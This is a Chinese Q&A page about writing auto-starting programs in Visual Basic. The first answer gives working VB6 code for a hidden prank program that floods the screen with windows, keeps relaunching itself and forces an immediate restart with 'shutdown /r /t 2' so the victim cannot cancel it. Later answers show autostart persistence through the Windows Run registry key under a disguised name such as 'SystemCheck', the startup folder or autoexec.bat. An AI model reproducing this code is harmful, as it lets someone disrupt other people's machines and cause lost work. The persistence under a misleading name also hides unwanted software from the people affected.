VB编写自动运行程序

2024-12-01 05:17:20
推荐回答(4个)
回答(1):

下面让我们打开VB编译器,在窗体上面加3个timer控件,然后Interval属性设得尽量小点,该属性1000为1秒,我的设成了6,这样在一秒就会谈出上百个窗口了。

实现代码如下:

Private Sub Timer1_Timer()

Dim a As New Form1 ‘声明以后出现a就是代表Form1

a.Show ‘Form1弹出

End Sub

Private Sub Timer2_Timer()

Shell App.EXEName ‘运行这个软件的本身

End Sub

然后隐藏窗体本身,书县代码如下:

Private Sub Form_Load()

Me.Hide

End Sub

那么在XP里自动关机是怎么回事呢?这个就是一个命令就能搞定的(shutdown /r /t 2),就是说,重新启动计算机的倒计时是2秒,这样中招的人就没有办法停止我们的shutdown了,其实到这里就可以算是一个有趣的恶作剧了。实现代码如下:

Private Sub Timer3_Timer()

Shell ("cmd.exe /c shutdown /r /t 2") ‘调用cmd 然后在cmd里输入shutdown /r /t 2就是说设倒计时时间限制为2秒

End Sub

回答(2):

不要主窗体,置于模块中
Sub Main()
Dim a
Set a=CreateObject("Wscript.Shell")
a.RegWrite="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemCheck", App.path & "\" & app.exename & ".exe"
End Sub

或者(模块中,若移植到窗体中请吧public改为private)
Option Explicit
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hkey As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Const REG_SZ As Long = 1
Const HKEY_LOCAL_MACHINE = &H80000002

sub main()
Dim hkey As Long
Dim myexe As String
Dim myint As Integer
RegCreateKey HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", hkey
RegSetValueEx hkey, b, 0, REG_SZ, ByVal app.path & "\" & app.exename & ".exe", 999
RegCloseKey hkey
End sub

回答(3):

通过写注册表: Dim reg set reg = CreateObject("Wscript.Shell") 在Form_Load中添加: reg.regwrite = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RiLi",App.path + App.EXEname + ".exe" 即可

回答(4):

  方法1:把你的程序全路径名写到注册表里的local-ms-windows-currentversion-run里即可。
  方法2:把你的程序放入开始-程序菜单的启动下
  方法3:把程序全路径名写入autoexce.bat